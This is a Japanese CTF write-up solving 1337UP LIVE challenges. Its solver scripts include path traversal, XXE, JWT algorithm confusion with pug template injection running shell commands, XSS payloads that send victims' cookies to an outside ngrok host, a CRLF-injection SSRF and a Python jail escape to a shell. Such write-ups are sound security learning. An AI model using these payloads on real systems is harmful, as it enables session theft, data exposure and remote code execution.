🆙

1337UP LIVE CTF - writeup

2024/11/17に公開

来週のSECCONに向けて士気をアゲアゲしに1337 up CTFに参加しました。25位と結果は満足です。

解けたWeb問題と、個人的に面白かった問題のwriteupです。

✅ [Web]Pizza Paradise(100pts 395/1061 クリア率37%)

ソースコードの与えられていない問題。とりあえずなにかヒントはないかと探していると/robots.txtを発見した。

User-agent: *
Disallow: /secret_172346606e1d24062e891d537e917a90.html
Disallow: /assets/

/secret_172346606e1d24062e891d537e917a90.htmlにアクセスすると、ログイン画面が表示されることを確認した。

試しに適当に入力するとalertが表示されたが、これの反応速度が異様に速かった。これはクライアントのチェックが働いているだろうな、と思いソースを確認するとユーザー名とパスワードのハッシュが書いてあった。

const validUsername = "agent_1337";
const validPasswordHash = "91a915b6bdcfb47045859288a9e2bd651af246f07a083f11958550056bed8eac";

function getCredentials() {
    return {
        username: validUsername,
        passwordHash: validPasswordHash,
    };
}

次のコマンドを使用してSHA256ハッシュを解読してみた。

$ hashcat -m 1400 hash /usr/share/wordlists/rockyou.txt

そうすると、intel420と一致することが分かった。ログインに成功すると/topsecret_a9aedc6c39f654e55275ad8e65e316b3.phpにリダイレクトされた。

Downloadをクリックすると/topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=/assets/images/topsecret1.pngというURLを通してダウンロードが開始された。これを利用してファイルをダウンロードしたい。

/から始まっていることから、絶対パスでの入力は難しそうである。ディレクトリトラバーサルを利用して、/../../../etc/passwdを問い合わせると、「File path not allowed!」と返ってくる。

では、/assets/images/../../../../../etc/passwdのように、「/assets/images」から始まるようにしたらどうかと試してみたら、ダウンロードが開始された。あとは、重要そうなファイルを探し回ってみると、次のファイルでフラグが見つかった。

https://pizzaparadise.ctf.intigriti.io/topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=/assets/images/../../../../../var/www/html/topsecret_a9aedc6c39f654e55275ad8e65e316b3.php

✅ [Web]BioCorp(100pts 389/1061 クリア率37%)

企業のWebページのようなサイト。ソースコードあり。/flag.txtにフラグが書いてある。

以下のpanel.phpというファイルがIPチェックやXMLのパースが行われており怪しい。

panel.php
<?php
$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];

if ($ip_address !== '80.187.61.102') {
    echo "<h1>Access Denied</h1>";
    echo "<p>You do not have permission to access this page.</p>";
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/xml') !== false) {
    $xml_data = file_get_contents('php://input');
    $doc = new DOMDocument();
    if (!$doc->loadXML($xml_data, LIBXML_NOENT)) {
        echo "<h1>Invalid XML</h1>";
        exit;
    }
} else {
    $xml_data = file_get_contents('data/reactor_data.xml');
    $doc = new DOMDocument();
    $doc->loadXML($xml_data, LIBXML_NOENT);
}

$temperature = $doc->getElementsByTagName('temperature')->item(0)->nodeValue ?? 'Unknown';
$pressure = $doc->getElementsByTagName('pressure')->item(0)->nodeValue ?? 'Unknown';
$control_rods = $doc->getElementsByTagName('control_rods')->item(0)->nodeValue ?? 'Unknown';

include 'header.php';
?>
<!-- snap -->
        <li><i class="fas fa-thermometer-half"></i> Temperature: <?php echo htmlspecialchars($temperature); ?> °C</li>
        <li><i class="fas fa-tachometer-alt"></i> Pressure: <?php echo htmlspecialchars($pressure); ?> kPa</li>
        <li><i class="fas fa-cogs"></i> Control Rods: <?php echo htmlspecialchars($control_rods); ?></li>
    </ul>

<!-- snap -->

まず、$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];の値が80.187.61.102でなければならない。$_SERVER['HTTP_X_BIOCORP_VPN']は、X-BIOCORP-VPNというヘッダーの値となる(参考)ので、X-BIOCORP-VPN: 80.187.61.102のヘッダーを付与すればチェックを突破できる。

次に、file_get_contents('php://input')で取得された値がloadXMLによってパースされる。loadXML関数は外部エンティティを処理する設定がデフォルトで有効である。このため、XMLの中で <!ENTITY> を利用して外部ファイルをXXEが可能である。これを利用して/flag.txtを読み込んだ。

以下のソルバーでフラグゲット。

solver.py
import requests

URL = "https://biocorp.ctf.intigriti.io/"
# URL = "http://localhost/"
EVIL = "https://tchenio.ngrok.io/"

s = requests.session()
r = s.post(URL + "panel.php", headers={
    "X-BIOCORP-VPN": "80.187.61.102",
    "Content-Type": "application/xml"
}, data="""
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY bar SYSTEM "/flag.txt"> ]>
<reactor>
    <status>
        <temperature>&bar;</temperature>
        <pressure>1337</pressure>
        <control_rods>Lowered</control_rods>
    </status>
</reactor>
""".strip())
print(r.text)

✅ [Web]Cat Club(100pts 130/1061 クリア率12%)

猫の写真を見ることができるサイト。ソースコードあり。flag_<ランダムな16進数>.txtにフラグがある。

/catsでは、ユーザー名を利用してpugのSSTIができそうである。

router.js
router.get("/cats", getCurrentUser, (req, res) => {
    if (!req.user) {
        return res.redirect("/login?error=Please log in to view the cat gallery");
    }

    const templatePath = path.join(__dirname, "views", "cats.pug");

    fs.readFile(templatePath, "utf8", (err, template) => {
        if (err) {
            return res.render("cats");
        }

        if (typeof req.user != "undefined") {
            template = template.replace(/guest/g, req.user);
        }

        const html = pug.render(template, {
            filename: templatePath,
            user: req.user,
        });

        res.send(html);
    });
});

ただし、通常のユーザー登録ではユーザー名に[a-zA-Z0-9]の制約が課されているため、SSTIに必要な特殊文字を含むユーザー名を直接登録することはできない。

sanitizer.js
const privateKey = fs.readFileSync(path.join(__dirname, "..", "private_key.pem"), "utf8");
const publicKey = fs.readFileSync(path.join(__dirname, "..", "public_key.pem"), "utf8");

function sanitizeUsername(username) {
    const usernameRegex = /^[a-zA-Z0-9]+$/;

    if (!usernameRegex.test(username)) {
        throw new BadRequest("Username can only contain letters and numbers.");
    }

    return username;
}

ユーザー名はJWTにより管理されているので、JWTを偽装できれば任意の文字列のユーザーを作成できそう。

jwt_helpers.js
function signJWT(payload) {
    return new Promise((resolve, reject) => {
        jwt.encode(privateKey, payload, "RS256", (err, token) => {
            if (err) {
                return reject(new Error("Error encoding token"));
            }
            resolve(token);
        });
    });
}

function verifyJWT(token) {
    return new Promise((resolve, reject) => {
        if (!token || typeof token !== "string" || token.split(".").length !== 3) {
            return reject(new Error("Invalid token format"));
        }

        jwt.decode(publicKey, token, (err, payload, header) => {
            if (err) {
                return reject(new Error("Invalid or expired token"));
            }

            if (header.alg.toLowerCase() === "none") {
                return reject(new Error("Algorithm 'none' is not allowed"));
            }

            resolve(payload);
        });
    });
}

JWTの作成時は非対称鍵方式であるRS256が使用されているが、認証時はトークンのヘッダーで指定された署名アルゴリズムが利用できる。「None」は明示的に利用できないが、公開鍵から推測した署名鍵を使用し、HS256アルゴリズムで署名したJWTを作成することで認証を回避できる。

公開鍵の情報は、/jwks.jsonというエンドポイントからjwksという形式で確認することができる。

router.js
router.get("/jwks.json", async (req, res) => {
    try {
        const publicKey = await fsPromises.readFile(path.join(__dirname, "..", "public_key.pem"), "utf8");
        const publicKeyObj = crypto.createPublicKey(publicKey);
        const publicKeyDetails = publicKeyObj.export({ format: "jwk" });

        const jwk = {
            kty: "RSA",
            n: base64urlEncode(Buffer.from(publicKeyDetails.n, "base64")),
            e: base64urlEncode(Buffer.from(publicKeyDetails.e, "base64")),
            alg: "RS256",
            use: "sig",
        };

        res.json({ keys: [jwk] });
    } catch (err) {
        res.status(500).json({ message: "Error generating JWK" });
    }
});

この情報から、public_key.pemのファイルを逆算するコードをChatGPTに書いてもらった。

チートシートによると、pugでは{#<コード>}の形式を利用してテンプレート内で任意のコードを実行できる。

最終的なコードは以下の通りである。

solver.py
import jwt
import requests
import base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

def base64url_decode(data):
    return base64.urlsafe_b64decode(data + "=" * (-len(data) % 4))

URL = "https://catclub-6.ctf.intigriti.io/"
# URL = "http://localhost:1337/"

s = requests.session()
r = s.get(URL + "jwks.json")
jwks = r.json()['keys'][0]

n = int.from_bytes(base64url_decode(jwks['n']),byteorder='big')
e = int.from_bytes(base64url_decode(jwks['e']),byteorder='big')

public_numbers = rsa.RSAPublicNumbers(e, n)
public_key = public_numbers.public_key()

pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

cmd = 'cat /flag*'

payload = {
    "username": '''#{global.process.mainModule.constructor._load("child_process").execSync('%s')}''' % cmd
}

token = jwt.encode(payload, pem, algorithm="HS256")
s.cookies['token'] = token

r = s.get(URL + "cats")
print(r.text)

✅ [Web]SafeNotes 2.0(218pts 43/1061 クリア率4.1%)

ノートを保存できるサイト。ソースコードあり。/reportで報告するとbotがクロールしてくるが、そのbotのcookieにフラグがある。

/api/notes/storeにPOSTするとノートが保存され、/api/notes/fetch/<ID>で確認できるようになっている。/view?note=<ID>はそのノートを見るためのページで、このページでXSSをすることが最終目標となる。

/viewの内容は次の通り:

view.html
    function fetchNoteById(noteId) {
        // Checking "includes" wasn't sufficient, we need to strip ../ *after* we URL decode
        const decodedNoteId = decodeURIComponent(noteId);
        const sanitizedNoteId = decodedNoteId.replace(/\.\.[\/\\]/g, '');
        fetch("/api/notes/fetch/" + sanitizedNoteId, {
            method: "GET",
            headers: {
                "X-CSRFToken": csrf_token,
            },
        })
            .then((response) => response.json())
            .then((data) => {
                if (data.content) {
                    document.getElementById("note-content").innerHTML =
                        DOMPurify.sanitize(data.content);
                    document.getElementById("note-content-section").style.display = "block";
                    showFlashMessage("Note loaded successfully!", "success");
                    // We've seen suspicious activity on this endpoint, let's log some data for review
                    logNoteAccess(sanitizedNoteId, data.content);
                } else if (data.error) {
                    showFlashMessage("Error: " + data.error, "danger");
                } else {
                    showFlashMessage("Note doesn't exist.", "info");
                }
                // Removed the data.debug section, it was vulnerable to XSS!
            });
    }

    function logNoteAccess(noteId, content) {
        // Read the current username, maybe we need to ban them?
        const currentUsername = document.getElementById("username").innerText;
        const username = currentUsername || urlParams.get("name");

        // Just in case, it seems like people can do anything with the client-side!!
        const sanitizedUsername = decodeURIComponent(username).replace(/\.\.[\/\\]/g, '');

        fetch("/api/notes/log/" + sanitizedUsername, {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "X-CSRFToken": csrf_token,
            },
            body: JSON.stringify({
                name: username,
                note_id: noteId,
                content: content
            }),
        })
            .then(response => response.json())
            .then(data => {
                // Does the log entry data look OK?
                document.getElementById("debug-content").outerHTML = JSON.stringify(data, null, 2)
                document.getElementById("debug-content-section").style.display = "block";
            })
            .catch(error => console.error("Logging failed:", error));

    }
  1. noteIdをサニタイズする
  2. /api/notes/fetch/<ID>に対してfetchする
  3. 送られてきたデータをDOMPurifyでサニタイズし、document.getElementById("note-content").innerHTMLに代入する
  4. ユーザー名をサニタイズする
  5. /api/notes/log/<ユーザー名>に対してfetchする
  6. 送られてきたデータをdocument.getElementById("debug-content").outerHTMLに代入する

3.のノートの内容でXSSを行うにはDOMPurifyをバイパスする必要があるので、かなり難しい。したがって、6.のログへのPOSTの結果でXSSを行うことを目標とする。

/api/notes/log/<ユーザー名>の結果は自動生成されたノートのIDとログのIDが返ってくるだけで、XSSに使えそうな内容は返ってこない。しかし、ユーザー名を../../../<任意のパス>とできれば、URLは/api/notes/log/../../../<任意のパス>となり、サーバーの任意のパスからfetchすることができるようになる。

これは次のWAFによって防がれているように見える。

const sanitizedUsername = decodeURIComponent(username).replace(/\.\.[\/\\]/g, '');

しかし、これはユーザー名を....//....//....//<任意のパス>のようにすることによって回避できる。これは、置換した結果に../が出現するようにすると、一度置換した箇所であるため再度置換されないからである。

/contactというパスにPOSTを行うと、ユーザー名が含まれたJSONが返ってくる。ユーザー名にXSSのペイロードが含まれるようにすることで、XSSが実行される。

views.py
@main.route('/contact', methods=['GET', 'POST'])
def contact():
    if request.method == 'POST':
        if request.is_json:
            data = request.get_json()
            username = data.get('name')
            content = data.get('content')

            if not username or not content:
                return jsonify({"message": "Please provide both your name and message."}), 400

            return jsonify({"message": f'Thank you for your message, {username}. We will be in touch!'}), 200

まとめると、ユーザー名が....//....//....//contact?x=<img src=X onerror=alert(1)>の状態で/viewを訪れると次のような動作でXSSが行われる。

  1. サニタイズされて、sanitizedUsername../../../contact?x=<img src=X onerror=alert(1)>となる
  2. /api/notes/log/../../../contact?x=<img src=X onerror=alert(1)>に対してPOSTが行われる。これは/contactにfetchするのと同様である。
  3. {"message": "Thank you for your message, ....//....//....//contact?x=<img src=X onerror=alert(1)>. We will be in touch!"}というJSONが返却される。
  4. 上記の内容がdocument.getElementById("debug-content").outerHTMLに代入される
  5. alert(1)が実行される。

次にユーザー名を任意に指定する方法だが、ユーザー作成時のユーザー名の最大の長さは20文字であるため、上記のようなユーザー名では登録できない。したがって、別の方法をとる必要がある。

logNoteAccessでユーザー名を取得する箇所をよく読むと、次のようになっている。

view.html
const currentUsername = document.getElementById("username").innerText;
const username = currentUsername || urlParams.get("name");

/view?note=<ノートID>&name=<ユーザ名>でも良さそうに思えるが、ノートをfetchする前に一度URLの書き換えが行われるため、urlParamsを利用することはできない。

view.html
function validateAndFetchNote(noteId) {
    if (noteId && isValidUUID(noteId.trim())) {
        history.pushState(null, "", "?note=" + noteId);
        fetchNoteById(noteId);
    } else {
        showFlashMessage(
            "Please enter a valid note ID, e.g. 12345678-abcd-1234-5678-abc123def456.",
            "danger"
        );
    }
}

次に、document.getElementById("username").innerTextの結果を変えることを考える。getElementByIdは同じIDの要素が複数ある場合、最初の要素が選択される。<span id="username">{{ username }}</span><div id="note-content" class="note-content"></div>より後にあるため、作成したノートにIDがusernameの要素が含まれるならば、そちらの値が優先される。

幸いにも、DOMPurifyのデフォルトではIDのアトリビュートは削除されないので、作成するノートの中にユーザー名を記述することで、任意のユーザー名を指定することができる。

以下が最終的なソルバー

solver.py
import requests
import re

URL = "https://safenotes2-0.ctf.intigriti.io/"
# URL = "http://127.0.0.1/"
EVIL = "https://tchenio.ngrok.io/"

s = requests.session()
r = s.get(URL + "register")
csrf = re.findall(r'<input id="csrf_token" name="csrf_token" type="hidden" value="(.+)">', r.text)[0]
user = {
    "username": "foo",
    "password": "bar",
    "csrf_token": csrf
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)
print(r.text)

r = s.post(URL + "api/notes/store", json={
    "content": f"<div id='debug-content'></div><div id='username'>....//....//....//contact?x=&lt;img src=X onerror=document.location.assign('{EVIL}'+document.cookie)&gt;</div>"
    
}, headers={
    "X-Csrftoken": csrf
})
id = r.json()['note_id']
s.post(URL + '/report', data={
    'csrf_token': csrf,
    'note_url': f'{URL}view?note={id}',
})
print(r.text)

✅ [Web]WorkBreak(400pts 26/1061 クリア率2.5%)

自分のプロファイルやタスクのパフォーマンスを管理するサイト。ソースコードはないが、「サポートチームのCookieを取得する」という目標が与えられている。

右下のチャット欄に適当な文字を送ると、サポートチームから、「URLを送ってくれたらページを見てチェックするよ」との返信が返ってくる。ページ内でXSSが行えたら、そのURLをここから送信することでCookieを盗むことができそうだ。

ソースコードを読むと、/api/user/profile/<ユーザーID>からデータを取得して、データを更新している。

profile.js
        const response = await fetch(`/api/user/profile/${userId}`);
        const profileData = await response.json();
        if (response.ok) {
            const userSettings = Object.assign(
                { name: "", phone: "", position: "" },
                profileData.assignedInfo
            );

            if (!profileData.ownProfile) {
                editButton.style.display = "none";
            } else {
                editButton.style.display = "inline-block";
            }

            emailField.value = profileData.email;
            nameField.value = userSettings.name;
            phoneField.value = userSettings.phone;
            positionField.value = userSettings.position;

            userTasks = userSettings.tasks || [];
            performanceIframe.addEventListener("load", () => {
                performanceIframe.contentWindow.postMessage(userTasks, "*");
            });
        } else if (response.unauthorized) {
            window.location.href = "/login";
        } else {
            setError(profileData.error);
        }

流れとしては、以下の通り。

  1. /api/user/profile/<ユーザーID>から情報を取得する
  2. Object.assignを使ってuserSettingsを作成
  3. フィールドに情報を表示
  4. performanceIframeに、userSettings.taskspostMessageを通して送信

初期状態では/api/user/profile/<ユーザーID>の結果にtasksが含まれていない。また、ソースを読むと、/api/user/settingsにPOSTを行うことでユーザー情報を書き換えることができることがわかる。試しに、

r = s.post(URL + "api/user/settings", json={
    'name': "foobar",
    "phone": "01201079229",
    "position": "xxx",
    "tasks": ["foo", "bar"]
})

のように送ってみると、

{"error":"Not Allowed to Modify Tasks"}

という結果が返ってくる。しかし、

r = s.post(URL + "api/user/settings", json={
    'name': "foobar",
    "phone": "01201079229",
    "position": "xxx",
    "aaa": "bbb"
})

のように適当なフィールドを送ってから/api/user/profile/<ユーザーID>に問い合わせると、

{"email":"tepel@a.com","assignedInfo":{"name":"foobar","phone":"01201079229","position":"xxx","aaa":"bbb"},"ownProfile":true}

のように保存されることがわかる。このことから、tasksが保存できないのは、ブラックリストとしてフィルタリングされているからだとわかる。

したがって、以下のように__proto__を利用して

r = s.post(URL + "api/user/settings", json={
    'name': "foobar",
    "phone": "01201079229",
    "position": "01201079229",
    "__proto__": {
        "tasks": ["foo", "bar"]
    }
})

のようにPOSTすると、

{"email":"tepel@a.com","assignedInfo":{"name":"foobar","phone":"01201079229","position":"xxx","__proto__": {"tasks": ["foo", "bar"]}},"ownProfile":true}

のようになる。

const userSettings = Object.assign(
                { name: "", phone: "", position: "" },
                profileData.assignedInfo
            );

が実行されると、プロトタイプチェーンにより、userSettings.tasks["foo", "bar"]となる。これにより、好きな値をperformanceIframepostMessageできる。

postMessageされた値がどのように処理されるか確認する。

performance_chart.js
const renderPerformanceChart = (taskData) => {

    /* snap */
    const today = new Date().toISOString().split("T")[0];
    const todayTask = taskData.find((task) => task.date === today);

    const todayTasksDiv = d3.select("#todayTasks");
    if (todayTask) {
        todayTasksDiv.html(`Tasks Completed Today: ${todayTask.tasksCompleted}`);
    } else {
        todayTasksDiv.html("Tasks Completed Today: 0");
    }

    /* snap */
};
/* snap */
window.addEventListener(
    "message",
    (event) => {
        if (event.source !== window.parent) return;
        renderPerformanceChart(event.data);
    },
    false
);

task.datetodayと一致する場合、task.tasksCompletedがHTMLとして埋め込まれる。これを利用して任意のjavascriptを実行できる。

親フレームもpostMessageを受け取って、その内容をHTMLとして埋め込むことができる。

profile.js
window.addEventListener(
    "message",
    (event) => {
        if (event.source !== frames[0]) return;

        document.getElementById(
            "totalTasks"
        ).innerHTML = `<p>Total tasks completed: ${event.data.totalTasks}</p>`;
    },
    false
);

以下のソルバーでフラグをゲットした

solver.py
from base64 import b64encode
import requests

URL = "https://workbreak-4.ctf.intigriti.io/"
EVIL = "https://tchenio.ngrok.io/"

s = requests.session()
r = s.post(URL + 'api/auth/login',json={
    'email': 'tepel@a.com',
    "password": "p@ssw0rd"
})
print(r.url)
user_id = r.url.split('/')[-1]

payload = f'''
window.parent.postMessage({{
    type: "message",
    totalTasks: "<img src=X onerror=document.location.assign('{EVIL}'+document.cookie)>"
}}, "*")
'''

r = s.post(URL + "api/user/settings", json={
    'name': "foobar",
    "phone": "01201079229",
    "position": "01201079229",
    "__proto__": {
        "tasks": [{
            "date": '2024-11-16',
            'tasksCompleted': f'<img src=X onerror=eval(atob("{b64encode(payload.encode()).decode()}"))>'
        }]
    }
})
print(r.text)

✅ [Web]Greetings(423pts 23/1061 クリア率2.2%)

webnodeflaskという3つのマイクロサービスが動いている。

webは通常nodeに対して問い合わせを行うが、flaskに対してSSRFができればフラグを入手できる。ただし、問い合わせの内容は、

  1. headerにPassword: adminを含む
  2. request.form.get("username")=="admin"となるようなbodyとContent-Typeを含む

という条件を満たさなければならない。

flask/app.py
@app.route("/flag", methods=["GET", "POST"])
def flag():
    username = request.form.get("username")
    password = request.headers.get("password")
    if username and username == "admin" and password and password == "admin":
        return os.getenv('FLAG')
    return "So close"
``

`web`がリクエストを送る箇所は次のようになっている。

```php:php/src/index.php
<?php
if(isset($_POST['hello']))
{
    session_start();
    $_SESSION = $_POST;
    if(!empty($_SESSION['name']))
    {
        $name = $_SESSION['name'];
        $protocol = (isset($_SESSION['protocol']) && !preg_match('/http|file/i', $_SESSION['protocol'])) ? $_SESSION['protocol'] : null;
        $options = (isset($_SESSION['options']) && !preg_match('/http|file|\\\/i', $_SESSION['options'])) ? $_SESSION['options'] : null;
        
        try {
            if(isset($options) && isset($protocol))
            {
                $context = stream_context_create(json_decode($options, true));
                $resp = @fopen("$protocol://127.0.0.1:3000/$name", 'r', false, $context);
            }
            else
            {
                $resp = @fopen("http://127.0.0.1:3000/$name", 'r', false);
            }

            if($resp)
            {
                $content = stream_get_contents($resp);
                echo "<div class='greeting-output'>" . htmlspecialchars($content) . "</div>";
                fclose($resp);
            }
            else
            {
                throw new Exception("Unable to connect to the service.");
            }
        } catch (Exception $e) {
            error_log("Error: " . $e->getMessage());
            echo "<div class='greeting-output error'>Something went wrong!</div>";
        }
    }
}
?>

@fopen("$protocol://127.0.0.1:3000/$name", 'r', false, $context);という形式でリクエストを行うが、$protocol$contexthttpfileという文字列を含めてはならない、という制約がある。

httphttpsも使えないので、サポートするプロトコルの一覧を調べ、代用できそうなプロトコルを探す。

ftp://コンテキストオプションを読んでいたら、proxyオプションを利用することで、HTTPプロキシを経由したリクエストが可能であることがわかった。

proxy string
FTP リクエストを、http プロキシサーバー経由で行う。 ファイルの読み込み操作にのみ適用される。 例: tcp://squid.example.com:8000

次のようなリクエストを送ってみると

import json
import html
import requests

URL = "https://greetings.ctf.intigriti.io/"

s = requests.session()

data = {
    "name": "sss",
    "protocol": "ftp://127.0.0.1:5000/flag?x=",
    "options": json.dumps({
        "ftp": {
            "proxy": "tcp://127.0.0.1:5000",
        },
    }),
    "hello": ""
}
r = s.post(URL, data=data)
print(r.status_code)
print(html.unescape(r.text))

fopenで利用されるURLはftp://127.0.0.1:5000/flag?x=://127.0.0.1:3000/sssとなるため、ftp://が利用された上でホストが127.0.0.1:5000となる。また、<div class='greeting-output'>So close</div>と表示されるので、http://127.0.0.1:5000/flagにGETリクエストが飛んでいることがわかる。

ソースコードを読むと、proxyを指定した場合、そのオプションはhttp://を利用した場合と同様に利用されるので、

{
    "http": {
        "header": "Password: admin\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 14",
        "content": "username=admin"
    },
}

のようなコンテキストを送ればヘッダーやボディを送ることができるが(参考)、これを利用するにはhttpの文字が含まれてしまうため、この方針は利用できない。

もしかしたらCRLFインジェクションが可能な箇所があるかもしれない、と試行錯誤してみる。

solver.py
data = {
    "name": " HTTP/1.1\r\nPassword: admin\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 14\r\n\r\nusername=admin",
    "protocol": "ftp://127.0.0.1:5000/flag?x=",
    "options": json.dumps({
        "ftp": {
            "proxy": "tcp://127.0.0.1:5000",
        },
    }),
    "hello": ""
}
r = s.post(URL, data=data)

のようにリクエストを送ると、fopenに利用される文字列は、

ftp://127.0.0.1:5000/flag?x=://127.0.0.1:3000/ HTTP/1.1
Password: admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

username=admin

のようになり、これがproxyを通すと、

GET ftp://127.0.0.1:5000/flag?x=://127.0.0.1:3000/ HTTP/1.1
Password: admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

username=admin HTTP/1.1
Host: 127.0.0.1:5000
Connection: close

のような有効なHTTPリクエストとなる。これは、ヘッダーとボディの条件を満たすので、フラグが返ってくる。

✅ [Misc]Triage Bot v2(100pts 92/1061 クリア率8.8%)

Intigriti(CTFの開催団体)のDiscordでTriageBotというBotが動いている。いくつかのコマンドがあるが、!read_reportというコマンドを実行すると、権限がないというエラーが出力される。どうにかしてこの制約を回避したい。

エラーを見ると、triageというロールが付与されていれば良いらしいが、IntigritiのDiscord内ではこのロールを自分に付与することができない。

このBotを自分で作成したDiscordサーバーに招待してみる。

  1. 解説ページを参考に、botのユーザーIDを取得する。
  2. https://discord.com/oauth2/authorize?client_id=<BOTのID>&permissions=8&scope=botというURLにアクセスする(参考)
  3. discord上でポップアップが表示されるので、自分のサーバーに招待する

自分のサーバーであれば、自由にロールを付与できるので、自分自身にtriageというロールを付与して!read_reportを実行すると、ランダムなレポートが表示された。!read_report <ID>で指定のIDのレポートが見れることが分かったので、!read_report 0を実行してみると、フラグが得られた。

✅ [Misc]Monkey's Paw(384pts 28/1061 クリア率2.6%)

なななんとfirst bloodいただきました!

pyjail問題。以下の条件を満たす文字列を実行してくれる。

  1. 属性名や変数名の最初と最後の4文字が_である
  2. '"がどちらも含まれない。(というのは、嘘で'"と連続した文字列が含まれなければ良い。今これを書いてる途中で気がついた。)
chal.py
#!/usr/local/bin/python3.13 -S

def die():
    print("Don't be greedy")
    exit(1)


def check_code(code):
    to_check = ["co_consts", "co_names",
                "co_varnames", "co_freevars", "co_cellvars"]
    for attr in to_check:
        for obj in getattr(code, attr):
            if type(obj) is not str or \
                    len(obj) < 5 or \
                    obj[:2] + obj[-2:] != '____':
                die()


code = input("Be careful what you wish for: ")
if "\"'" in code:
    die()

code = compile(code, "<string>", "eval")
check_code(code)
print(eval(code, {'__builtins__': {}}))

直接__import__execなどの関数を利用することはできないので、よくある__builtins__が空の状態でも__builtins__にアクセスする一般的な手法を使用する

[].__class__.__class__.__subclasses__([].__class__.__class__)[0].register.__builtins__

を利用したい。

0は利用できないが、[].__len__()が0を返すので、これを利用できる。

<ABCMeta>.registerのような要素へのアクセスは、register_で囲われていないためできない。したがって、<ABCMeta>.__dict__['register']のように実行したい。しかし、この場合も文字列が利用できないことがネックとなる。

そこで、<ABCMeta>.__dict__.__iter__()を実行すると、辞書のキーを羅列するイテレーターが生成されることを利用する。

変数名の制約を満たすため、__iter__()から得たイテレータを__bizbaz__という変数にセイウチ代入式を利用して代入し、__bizbaz__.__next__()'register'となるまで繰り返し実行することで、<ABCMeta>.__dict__['register']を取得することができる。

<ABCMeta>.__dict__['register'].__builtins__までアクセスできたあとは、これも辞書型なので同様の方法でexecinputにアクセスし、exec(input())を実行する。

以下のコードを送信したあと、__import__('os').system('sh')を実行するとシェルが得られるので、cat /flag*を実行してフラグを入手できる。

code = """
[__foobar__:=[].__class__.__class__.__subclasses__([].__class__.__class__)[[].__len__()].__dict__,
__bizbaz__:=__foobar__.__iter__(),
__bizbaz__.__next__(),
__bizbaz__.__next__(),
__bizbaz__.__next__(),
__builtins__:=__foobar__[__bizbaz__.__next__()].__builtins__,
__biters__:=__builtins__.__iter__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__exec__:=__builtins__[__biters__.__next__()],
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__biters__.__next__(),
__exec__(__builtins__[__biters__.__next__()]())]""".replace("\n", "")
print(code)

✅ [Mobile]Cold Storage(100pts 126/1061 クリア率12%)

(Android持ってないし、エミュレーターも準備してないけど、なしでも解析方法が分かってきたので覚書。頼むからreCAPTCHAを貼らないでください)

apkファイルが配布される。jadx-guiを利用して解析する。

まずは、Resources/AndroidManifest.xmlを確認する。注目すべきはmanifest/application/activityの内容

Resources/AndroidManifest.xml
        <activity
            android:theme="@style/Theme.App.SplashScreen"
            android:label="@string/activity_name"
            android:name="com.example.cryptoVault.MainActivity"
            android:exported="true"
            android:launchMode="singleTop"
            android:configChanges="smallestScreenSize|screenSize|uiMode|screenLayout|orientation|keyboardHidden|keyboard|locale"
            android:windowSoftInputMode="adjustResize">
            <intent-filter android:label="@string/launcher_name">
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>

この内容から、最初に実行されるのがcom.example.cryptoVault.MainActivityというクラスであることがわかる。

com.example.cryptoVault.MainActivity
package com.example.cryptoVault;

import android.os.Bundle;
import org.apache.cordova.CordovaActivity;

/* loaded from: classes.dex */
public class MainActivity extends CordovaActivity {
    @Override // org.apache.cordova.CordovaActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        Bundle extras = getIntent().getExtras();
        if (extras != null && extras.getBoolean("cdvStartInBackground", false)) {
            moveTaskToBack(true);
        }
        loadUrl(this.launchUrl);
    }
}

CordovaActivityというクラスを継承していることから、Cordovaを利用したアプリケーションであることがわかる。これは、HTML/CSS/JSを利用して動くアプリケーションを作成するフレームワークみたいだ。

ChatGPTに聞いたところ、Resourcesのassets/www下に利用されるHTML/CSS/JSがあるらしい。見てみると、次のようなファイルが見つかった

assets/www/index.html
<!DOCTYPE html>
<html lang="en">
    <!-- snap -->

        <script type="text/javascript" src="cordova.js"></script>
        <script src="js/keygen.js"></script>

        <script>
            function unlockVault() {
                var pin = document.getElementById("pin").value.trim();
                if (pin === "7331") {
                    document.getElementById("message").innerText = "Correct PIN!";
                    document.getElementById("message").style.color = "green";
                    document.getElementById("keyList").style.display = "block";
                    retrieveencryptedKey();
                } else {
                    document.getElementById("message").innerText = "Invalid PIN!";
                    document.getElementById("message").style.color = "red";
                    document.getElementById("keyList").style.display = "none";
                }
            }

            function retrieveencryptedKey() {
                var keyInput = document.getElementById("encryptedKey");
                var encryptedKey = keygen();
                keyInput.value = encryptedKey;
                document.getElementById("message").innerText = "Please use your standalone decryption device to complete the recovery!";
                document.getElementById("message").style.color = "blue";
            }
        /* snap */
        </script>
    </body>
</html>

